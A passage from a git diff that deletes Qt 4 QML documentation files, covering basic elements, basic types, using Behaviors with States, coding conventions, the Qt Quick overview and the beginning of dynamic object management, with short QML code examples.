Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlbasicelements.html -\ingroup qml-features -\contentspage QML Features -\previouspage QML Features -\nextpage {QML Basic Types}{Data Types} - -\title QML Basic Elements - -QML's basic elements allow the easy inclusion of objects into the -scene. - -\section1 Basic Elements -This is a list of some of the elements readily available for users. -\list -\li \l {Item} -\li \l {Rectangle} -\li \l {Image} -\li \l {Text} -\li \l {TextInput} -\li \l {TextEdit} -\li \l {FocusScope} -\li \l {Component} -\li \l {MouseArea} -\endlist - -For a complete list of QML elements, please visit the \l {QML Elements} page. - -\section1 Properties and Qt Declarative Module - -When using QML elements, keep in mind that elements may possess properties that -other elements also possess. This is because QML and its underlying engine is -implemented in C++ using Qt. More importantly, the chain of property inheritance -is directly due to QML's use of the \l {Qt Declarative Module} and Qt's -\l {Meta-Object System}{meta-object} and \l {The Property System}{property} systems. For example, visual elements that have C++ implementation are sublcasses of -\l {QDeclarativeItem}. As a result, elements such as \l {Rectangle} and -\l {Text} elements inherit properties such as \c clip and \c smooth. - -\section1 Item Element - -Many QML elements inherit \l Item properties. \c Item possesses important properties -such as \c focus, \c children, and dimension properties such as \c width and -\c height. Although \c Item has physical properties, it is not a visual element. -Using \c Item as the top-level QML element (as the screen) will not produce a -visual result, use the \l {Rectangle} element instead. Use the \c Item to create -opacity effects, such as when creating an invisible container to hold other -components. - -\section1 Rectangle Element - -The \l Rectangle element is the basic visual element, for displaying different -types of items onto the screen. The \c Rectangle is customizable and utilizes -other elements such as \l Gradient and \l BorderImage for displaying advanced -customized graphics. - -\section1 Image Element - -To insert an image into a QML scene, merely declare an \l Image element. The -\c Image element can load images in formats supported by Qt. - -\section1 Text Elements - -The \l Text and \l TextEdit elements display formatted text onto the screen. -\c TextEdit features multi-line editing while the \l TextInput element is for -single line text input. - -\keyword qml-top-level-component -\section1 Using Elements as the Top-Level Component - -For creating components (or displaying a simple scene), there are different -elements that could be used as the top-level component. To display a simple scene, -a \l Rectangle as the top-level component may suffice. \l Rectangle, -\l FocusScope, \l Component, \l {QML:QtObject} {QtObject}, \l Item, are some of -the commonly used elements as the top-level component. - -When importing components, the top-level component is important because the -top-level component's properties are the only properties exposed to the parent. - -For example, a \c Button component may be implemented using different elements as -its top-level component. When this component is loaded into another QML scene, -the component will retain the top-level component's properties. If a non-visual -component is the top-level component, the visual properties should be aliased to -the top-level to display the component properly. - -For more information on how to build upon QML elements, see the -\l{Importing Reusable Components} document. -*/ diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc deleted file mode 100644 index 2fbccdff..00000000 --- a/doc/src/declarative/basictypes.qdoc +++ /dev/null @@ -1,583 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qdeclarativebasictypes.html - \ingroup qml-features - \contentspage QML Features - \previouspage {QML Basic Elements} - \nextpage Property Binding - \title QML Basic Types - - QML has a set of primitive types, as listed below, that are used throughout - the \l {QML Elements}. - - \annotatedlist qmlbasictypes - - To create additional types, such as data types created in C++, read the - \l{Extending QML Functionalities using C++} article. -*/ - -/*! - \qmlbasictype int - \ingroup qmlbasictypes - - \brief An integer is a whole number, e.g. 0, 10, or -20. - - An integer is a whole number, e.g. 0, 10, or -20. The possible \c - int values range from around -2000000000 to around 2000000000, - although most elements will only accept a reduced range (which they - mention in their documentation). - - Example: - \qml - Item { width: 100; height: 200 } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype bool - \ingroup qmlbasictypes - - \brief A boolean is a binary true/false value. - - A boolean is a binary true/false value. - - Example: - \qml - Item { focus: true; clip: false } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype real - \ingroup qmlbasictypes - - \brief A real number has a decimal point, e.g. 1.2 or -29.8. - - A real number has a decimal point, e.g. 1.2 or -29.8. - - Example: - \qml - Item { width: 100.45; height: 150.82 } - \endqml - - \note In QML all reals are stored in single precision, \l - {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} - format. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype double - \ingroup qmlbasictypes - - \brief A double number has a decimal point and is stored in double precision. - - A double number has a decimal point and is stored in double precision, \l - {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} - format. - - Example: - \qml - Item { - property double number: 32155.2355 - } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype string - \ingroup qmlbasictypes - - \brief A string is a free form text in quotes, e.g. "Hello world!". - - A string is a free form text in quotes, e.g. "Hello world!". - - Example: - \qml - Text { text: "Hello world!" } - \endqml - - Strings have a \c length attribute that holds the number of - characters in the string. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype url - \ingroup qmlbasictypes - - \brief A URL is a resource locator, like a file name. - - A URL is a resource locator, like a file name. It can be either - absolute, e.g. "http://qt.nokia.com", or relative, e.g. - "pics/logo.png". A relative URL is resolved relative to the URL of - the component where the URL is converted from a JavaScript string - expression to a url property value. - - Example: - \qml - Image { source: "pics/logo.png" } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype color - \ingroup qmlbasictypes - - \brief A color is a standard color name in quotes. - - A color is a standard color name in quotes. It is normally specified - as an \l {http://www.w3.org/TR/SVG/types.html#ColorKeywords} {SVG - color name}. These names include colors like "red", "green" and - "lightsteelblue". - - If the color you want isn't part of this list, colors can also be - specified in hexidecimal triplets or quads that take the form \c - "#RRGGBB" and \c "#AARRGGBB" respectively. For example, the color - red corresponds to a triplet of \c "#FF0000" and a slightly - transparent blue to a quad of \c "#800000FF". - - Example: - \div{float-right} - \inlineimage declarative-colors.png - \enddiv - \snippet doc/src/snippets/declarative/colors.qml colors - - Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, - \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions: - - \qml - Rectangle { color: Qt.rgba(0.5, 0.5, 0, 1) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype point - \ingroup qmlbasictypes - - \brief A point type has x and y attributes. - - A \c point type has \c x and \c y attributes. - - To create a \c point value, specify it as a "x,y" string: - - \qml - CustomObject { myPointProperty: "0,20" } - \endqml - - Or use the \l{QML:Qt::point()}{Qt.point()} function: - - \qml - CustomObject { myPointProperty: Qt.point(0, 20) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype size - \ingroup qmlbasictypes - - \brief A size type has width and height attributes - - A \c size type has \c width and \c height attributes. - - For example, to read the \l {Image::sourceSize} \c size property: - - \qml - Column { - Image { id: image; source: "logo.png" } - Text { text: image.sourceSize.width + "," + image.sourceSize.height } - } - \endqml - - To create a \c size value, specify it as a "width x height" string: - - \qml - LayoutItem { preferredSize: "150x50" } - \endqml - - Or use the \l{QML:Qt::size()}{Qt.size()} function: - - \qml - LayoutItem { preferredSize: Qt.size(150, 50) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype rect - \ingroup qmlbasictypes - - \brief A rect type has x, y, width and height attributes. - - A \c rect type has \c x, \c y, \c width and \c height attributes. - - For example, to read the \l {Item::childrenRect.x}{Item::childrenRect} \c rect property: - \qml - Rectangle { - width: childrenRect.width - height: childrenRect.height - - Rectangle { width: 100; height: 100 } - } - \endqml - - To create a \c rect value, specify it as a "x, y, width x height" string: - - \qml - CustomObject { myRectProperty: "50,50,100x100" } - \endqml - - Or use the \l{QML:Qt::rect()}{Qt.rect()} function: - - \qml - CustomObject { myRectProperty: Qt.rect(50, 50, 100, 100) } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype date - \ingroup qmlbasictypes - - \brief A date is specified as "YYYY-MM-DD". - - To create a \c date value, specify it as a "YYYY-MM-DD" string: - - Example: - \qml - MyDatePicker { minDate: "2000-01-01"; maxDate: "2020-12-31" } - \endqml - - To read a date value returned from a C++ extension class, use - \l{QML:Qt::formatDate()}{Qt.formatDate()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype time - \ingroup qmlbasictypes - - \brief A time is specified as "hh:mm:ss". - - A time is specified as "hh:mm:ss". - - Example: - \qml - MyTimePicker { time: "14:22:15" } - \endqml - - To read a time value returned from a C++ extension class, use - \l{QML:Qt::formatTime()}{Qt.formatTime()} and \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. - - \sa {QML Basic Types} - */ - -/*! - \qmlbasictype font - \ingroup qmlbasictypes - - \brief A font type has the properties of a QFont. - - A font type has the properties of a QFont. The properties are: - - \list - \li \c string font.family - \li \c bool font.bold - \li \c bool font.italic - \li \c bool font.underline - \li \c real font.pointSize - \li \c int font.pixelSize - \endlist - - Example: - \qml - Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype action - \ingroup qmlbasictypes - - \brief The action type has all the properties of QAction. - - The action type has all the properties of QAction. The properties - are: - - \list - \li \c slot action.trigger - invoke the action - \li \c bool action.enabled - true if the action is enabled - \li \c string action.text - the text associated with the action - \endlist - - Actions are used like this: - - \qml - Item { - MouseArea { onClicked: myaction.trigger() } - State { name: "enabled"; when: myaction.enabled == true } - Text { text: someaction.text } - } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype list - \ingroup qmlbasictypes - - \brief A list of objects. - - A list type contains a list of objects. While not technically - a basic type, QML supports lists of object types. When used - from QML, the engine automatically appends each value to the list. - Items in the list can be accessed by index using the usual - \c listName[index] syntax. - - For example, the \l Item class contains a list property named - children that can be used like this: - - \qml - Item { - children: [ - Item { id: child1 }, - Rectangle { id: child2; width: 200 }, - Text { id: child3 } - ] - - Component.onCompleted: { - console.log("Width of child rectangle:", children[1].width) - } - } - \endqml - \c child1, \c child2 and \c child3 will be added to the children list - in the order in which they appear. - - List \l {Property Binding}{properties} can be created as a - \c variant type, or as a \c list<Type> type, where \c Type is the - type of the object in the list: - - \qml - Item { - property list<Rectangle> rects: [ - Rectangle { width: 100; height: 100}, - Rectangle { width: 200; height: 200} - ] - } - \endqml - - A list property can only contain values that match (or are derived from) the - specified \c Type. - - While the \c rects property can be reassigned to a different list value (including - an empty list), its individual values cannot be modified. See the \l variant type - documentation for details. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype variant - \ingroup qmlbasictypes - - \brief A variant type is a generic property type. - - A variant is a generic property type. A variant type property can hold - any of the \l {QML Basic Types}{basic type} values: - - \qml - Item { - property variant aNumber: 100 - property variant aString: "Hello world!" - property variant aBool: false - } - \endqml - - The \c variant type can also hold: - - \list - \li An array of \l {QML Basic Types}{basic type} values - \li A map of key-value pairs with \l {QML Basic Types}{basic-type} values - \endlist - - For example, below is an \c items array and an \c attributes map. Their - contents can be examined using JavaScript \c for loops. Individual array - values are accessible by index, and individual map values are accessible - by key: - - \qml - Item { - property variant items: [1, 2, 3, "four", "five"] - property variant attributes: { 'color': 'red', 'width': 100 } - - Component.onCompleted: { - for (var i=0; i<items.length; i++) - console.log(items[i]) - - for (var prop in attributes) - console.log(prop, "=", attributes[prop]) - } - } - \endqml - - While this is a convenient way to store array and map-type values, you - must be aware that the \c items and \c attributes properties above are \e not - QML objects (and certainly not JavaScript object either) and the key-value - pairs in \c attributes are \e not QML properties. Rather, the \c items - property holds an array of values, and \c attributes holds a set of key-value - pairs. Since they are stored as a set of values, instead of as an object, - their contents \e cannot be modified individually: - - \qml - Item { - property variant items: [1, 2, 3, "four", "five"] - property variant attributes: { 'color': 'red', 'width': 100 } - - Component.onCompleted: { - items[0] = 10 - console.log(items[0]) // This will still be '1'! - attributes.color = 'blue' - console.log(attributes.color) // This will still be 'red'! - } - } - \endqml - - Additionally, since \c items and \c attributes are not QML objects, changing - their individual values do not trigger property change notifications. If - the above example had \c onNumberChanged or \c onAnimalChanged signal - handlers, they would not have been called. If, however, the \c items or - \c attributes properties themselves were reassigned to different values, then - such handlers would be called. - - One way to "update" the contents of an array or map is to copy the property - to a JavaScript object, modify the copy as desired, and then reassign the - property to the updated copy. Note, however, that this is not efficient. - In the example below, which reassigns the \c attributes property, the \e entire - set of key-value pairs must be serialized and deserialized every time it is - copied between a JavaScript object and a QML property: - - \qml - Item { - property variant attributes: { 'color': 'red', 'width': 100 } - - Component.onCompleted: { - // Change the value of attributes.color to 'blue': - var temp = attributes // copy all values to 'temp' - temp.color = 'blue' - attributes = temp // copy all values back to 'attributes' - } - } - \endqml - - Since this operation is inefficient, if a list or map should be modifiable, - it is better to use alternative approaches. For example, you could implement - a custom C++ list element, or write to a JavaScript object defined from - within a JavaScript file. - - JavaScript programmers should also note that when a JavaScript object is - copied to an array or map property, the \e contents of the object (that is, - its key-value properties) are copied, rather than the object itself. The - property does not hold a reference to the original JavaScript object, and - extra data such as the object's JavaScript prototype chain is also lost in - the process. - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype vector3d - \ingroup qmlbasictypes - - \brief A vector3d type has x, y, and z attributes. - - A \c vector3d type has \c x, \c y, and \c z attributes. - - To create a \c vector3d value, specify it as a "x,y,z" string: - - \qml - Rotation { angle: 60; axis: "0,1,0" } - \endqml - - or with the \l{QML:Qt::vector3d()}{Qt.vector3d()} function: - - \qml - Rotation { angle: 60; axis: Qt.vector3d(0, 1, 0) } - \endqml - - or as separate \c x, \c y, and \c z components: - - \qml - Rotation { angle: 60; axis.x: 0; axis.y: 1; axis.z: 0 } - \endqml - - \sa {QML Basic Types} -*/ - -/*! - \qmlbasictype enumeration - \ingroup qmlbasictypes - - \brief An enumeration type consists of a set of named values. - - An enumeration type consists of a set of named values. - - An enumeration value may be specified as either a string: - \qml - Text { horizontalAlignment: "AlignRight" } - \endqml - - or as \c {<Element>.<value>}: - \qml - Text { horizontalAlignment: Text.AlignRight } - \endqml - - The second form is preferred. - - \sa {QML Basic Types} -*/ diff --git a/doc/src/declarative/behaviors-and-states.qdoc b/doc/src/declarative/behaviors-and-states.qdoc deleted file mode 100644 index 8402c571..00000000 --- a/doc/src/declarative/behaviors-and-states.qdoc +++ /dev/null @@ -1,206 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-behaviors-and-states.html -\title Using QML Behaviors with States - -\section1 Using Behaviors with States - -In some cases you may choose to use a Behavior to animate a property change caused by a state change. While this works well for some situations, in other situations it may lead to unexpected behavior. - -Here's an example that shows the problem: - -\qml -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - color: "red" - Behavior on color { - ColorAnimation {} - } - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - - states: State { - name: "GreenState" - when: mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "green" - } - } - } -} -\endqml - -Testing the example by quickly and repeatedly moving the mouse in to and out of the colored rectangle shows that the colored rectangle will settle into a green color over time, never returning to full red. This is not what we wanted! The -problem occurs because we have used a Behavior to animate the change in color, and our state change is trigged by the mouse entering or exiting the MouseArea, which is easily interrupted. - -To state the problem more formally, using States and Behaviors together can cause unexpected behavior when: -\list -\li a Behavior is used to animate a property change, specifically when moving from an explicitly defined state back to the implicit base state; and -\li this Behavior can be interrupted to (re-)enter an explicitly defined state. -\endlist - -The problem occurs because of the way the base state is defined for QML: as the "snapshot" state of the application just prior to entering an explicitly defined state. In this case, if we are in the process of animating from green back -to red, and interrupt the animation to return to "GreenState", the base state will include the color in its intermediate, mid-animation form. - -While future versions of QML should be able to handle this situation more gracefully, there are currently several ways to rework your application to avoid this problem. - -1. Use a transition to animate the change, rather than a Behavior. - -\qml -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - color: "red" - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - - states: State { - name: "GreenState" - when: mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "green" - } - } - - transitions: Transition { - ColorAnimation {} - } - } -} -\endqml - -2. Use a conditional binding to change the property value, rather than a state - -\qml -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - color: mouser.containsMouse ? "green" : "red" - Behavior on color { - ColorAnimation {} - } - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - } -} -\endqml - -3. Use only explicitly defined states, rather than an implicit base state - -\qml -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - Rectangle { - id: coloredRect - width: 100 - height: 100 - anchors.centerIn: parent - - Behavior on color { - ColorAnimation {} - } - - MouseArea { - id: mouser - anchors.fill: parent - hoverEnabled: true - } - - states: [ - State { - name: "GreenState" - when: mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "green" - } - }, - State { - name: "RedState" - when: !mouser.containsMouse - - PropertyChanges { - target: coloredRect - color: "red" - } - }] - } -} -\endqml - -*/ diff --git a/doc/src/declarative/codingconventions.qdoc b/doc/src/declarative/codingconventions.qdoc deleted file mode 100644 index 050d2eb7..00000000 --- a/doc/src/declarative/codingconventions.qdoc +++ /dev/null @@ -1,129 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-coding-conventions.html -\title QML Coding Conventions - -This document contains the QML coding conventions that we follow in our documentation and examples and recommend that others follow. - -This page assumes that you are already familiar with the QML language. -If you need an introduction to the language, please read \l {Introduction to the QML language}{the QML introduction} first. - - -\section1 QML Objects - -Through our documentation and examples, QML objects are always structured in the following order: - -\list -\li id -\li property declarations -\li signal declarations -\li JavaScript functions -\li object properties -\li child objects -\li states -\li transitions -\endlist - -For better readability, we separate these different parts with an empty line. - - -For example, a hypothetical \e photo QML object would look like this: - -\snippet doc/src/snippets/declarative/codingconventions/photo.qml 0 - - -\section1 Grouped Properties - -If using multiple properties from a group of properties, -we use the \e {group notation} rather than the \e {dot notation} to improve readability. - -For example, this: - -\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 0 - -can be written like this: - -\snippet doc/src/snippets/declarative/codingconventions/dotproperties.qml 1 - - -\section1 Private Properties - -QML and JavaScript do not enforce private properties like C++. There is a need -to hide these private properties, for example, when the properties are part of -the implementation. As a convention, private properties begin with two -\e underscore characters. For example, \c __area, is a property that is -accessible but is not meant for public use. Note that QML and JavaScript will -grant the user access to these properties. - -\snippet doc/src/snippets/declarative/codingconventions/private.qml 0 - - -\section1 Lists - -If a list contains only one element, we generally omit the square brackets. - -For example, it is very common for a component to only have one state. - -In this case, instead of: - -\snippet doc/src/snippets/declarative/codingconventions/lists.qml 0 - -we will write this: - -\snippet doc/src/snippets/declarative/codingconventions/lists.qml 1 - - -\section1 JavaScript Code - -If the script is a single expression, we recommend writing it inline: - -\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 0 - -If the script is only a couple of lines long, we generally use a block: - -\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 1 - -If the script is more than a couple of lines long or can be used by different objects, we recommend creating a function and calling it like this: - -\snippet doc/src/snippets/declarative/codingconventions/javascript.qml 2 - -For long scripts, we will put the functions in their own JavaScript file and import it like this: - -\snippet doc/src/snippets/declarative/codingconventions/javascript-imports.qml 0 - -*/ - - - - - - - - - diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc deleted file mode 100644 index ea1f29b1..00000000 --- a/doc/src/declarative/declarativeui.qdoc +++ /dev/null @@ -1,160 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\title Qt Quick -\page qtquick.html -\ingroup qt-gui-concepts - -\brief Qt Quick provides a declarative framework for building highly -dynamic user interfaces. - -Qt Quick is a collection of technologies that are designed to help -developers create the kind of intuitive, modern, fluid user -interfaces that are increasingly used on mobile phones, media players, -set-top boxes and other portable devices. - -Qt Quick consists of a rich set of user interface elements, a declarative -language for describing user interfaces and a language runtime. A collection -of C++ APIs is used to integrate these high level features with classic -Qt applications. - -\section1 Getting Started - -\list -\li \l{Introduction to Qt Quick} -\li \l{QML for Qt Programmers}{QML Programming for Qt Programmers} -\li \l{Getting Started Programming with QML} - -\li \l{What's new in Qt Quick}{What's New in the Qt Quick Release} -\li \l{QML Examples and Demos} -\endlist - -\section1 QML Features - -\list -\li \l{QML Basic Elements}{Basic Elements} -\li \l{QML Basic Types}{Data Types} -\li \l{Property Binding} -\li \l{Using QML Positioner and Repeater Items}{Component Layouts} -\li \l{Anchor-based Layout in QML}{Layouts using Anchors} -\li \l{QML Mouse Events}{Mouse Events} -\li \l{QML Text Handling and Validators}{Text Handling and Validators} -\li \l{Keyboard Focus in Qt Quick 1}{Keyboard Focus} -\li \l{QML Signal and Handler Event System}{Signal and Handler Event System} -\li \l{Importing Reusable Components} -\li \l{QML States}{States} -\li \l{QML Animation and Transitions}{Animation and Transitions} -\li \l{QML Data Models}{Structuring Data with Models} -\li \l{Presenting Data with Views} -\li \l{Extending QML Functionalities using C++} -\li \l{Using QML Bindings in C++ Applications} -\li \l{Integrating QML Code with Existing Qt UI Code} -\li \l{Dynamic Object Management in QML}{Dynamic Object Management} -\li \l{Network Transparency}{Loading Resources in QML} -\li \l{QML Internationalization}{Internationalization} -\endlist - -\section1 QML Add-Ons - -\list -\li \l{Qt Quick Components for Symbian 1.1}{Qt Quick Components for Symbian} - a native component set for the Symbian^3 platform -\li \l{QtWebKit QML Module} -\li \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins} -\li \l {http://doc.qt.nokia.com/qt-components-symbian-1.1/index.html}{Qt Quick Components} -\endlist - -\section1 Qt Quick Tools - -\list -\li \l{Debugging QML} -\li \l{external: Developing Qt Quick Applications with Creator}{Developing with Qt Creator} -\li \l{QML Viewer} -\endlist - -\section1 Reference - -\list -\li \l{Introduction to the QML language}{QML Syntax} -\li \l{QML Elements} -\li \l{Qt Declarative Module} -\li \l{QML Basic Types}{QML Data Types} -\li \l{QML Coding Conventions} -\li \l{external: Qt Creator Manual}{Qt Creator Manual} -\li \l{Programming with Qt} -\li \l{http://doc.qt.nokia.com/qtmobility-1.1.0/index.html}{Qt Mobility Documentation} -\endlist - -\section1 Architecture - -\list -\li \l{Qt Declarative UI Runtime} -\li \l{Integrating JavaScript} -\li \l{QML Scope} -\li \l{QML Modules} -\li \l{QML Documents} -\li \l{QML Global Object} -\li \l{QML Internationalization} -\li \l{QML Right-to-left User Interfaces} -\li \l{QML Security} -\li \l{Qt Declarative Module} -\endlist - -\section1 Examples - -\list -\li \l{QML Tutorial}{"Hello World" Tutorial} -\li \l{Getting Started Programming with QML} -\li \l{QML Advanced Tutorial}{Tutorial: "Same Game"} -\li \l{Tutorial: Writing QML extensions with C++} -\li \l{QML Examples and Demos} - -\li Forum Nokia: -\l{http://wiki.forum.nokia.com/index.php/Qt_Quick_examples_for_porting}{Qt Quick -examples for porting} -\endlist - -\section1 Best Practices - -\list -\li \l{QML Best Practices: Coding Conventions}{Coding Tips} -\li \l{QML Performance}{Performance Tips} -\endlist - -\section1 License Information -\list -\li \l{Qt Declarative Licensing Information} -\endlist - -\section1 Online Examples - -\list -\li Forum Nokia: -\l{http://wiki.forum.nokia.com/index.php/Qt_Quick_examples_for_porting}{Qt Quick -examples for porting} -\endlist -*/ diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc deleted file mode 100644 index 2476a57a..00000000 --- a/doc/src/declarative/dynamicobjects.qdoc +++ /dev/null @@ -1,215 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativedynamicobjects.html -\ingroup qml-features -\contentspage {QML Features} -\previouspage {Integrating QML Code with Existing Qt UI Code} -\nextpage {Network Transparency}{Loading Resources in QML} -\title Dynamic Object Management in QML - -QML provides a number of ways to dynamically create and manage QML objects. -The \l{Loader}, \l{Repeater}, \l{ListView}, \l{GridView} and \l{PathView} elements -all support dynamic object management. Objects can also be created and managed -from C++, and this is the preferred method for hybrid QML/C++ applications -(see \l{Using QML Bindings in C++ Applications}). - -QML also supports the dynamic creation of objects from within JavaScript -code. This is useful if the existing QML elements do not fit the needs of your -application, and there are no C++ components involved. - -See the \l {declarative/toys/dynamicscene}{Dynamic Scene example} for a demonstration -of the concepts discussed on this page. - - -\section1 Creating Objects Dynamically - -There are two ways to create objects dynamically from JavaScript. You can either call -\l {QML:Qt::createComponent()}{Qt.createComponent()} to dynamically create -a \l Component object, or use \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} -to create an item from a string of QML. -Creating a component is better if you have an existing component defined in a \c .qml -file, and you want to dynamically create instances of that component. Otherwise, -creating an item from a string of QML is useful when the item QML itself is generated -at runtime. - - -\section2 Creating a Component Dynamically - -To dynamically load a component defined in a QML file, call the -\l {QML:Qt::createComponent()}{Qt.createComponent()} function on the \l{QML Global Object}. -This function takes the URL of the QML 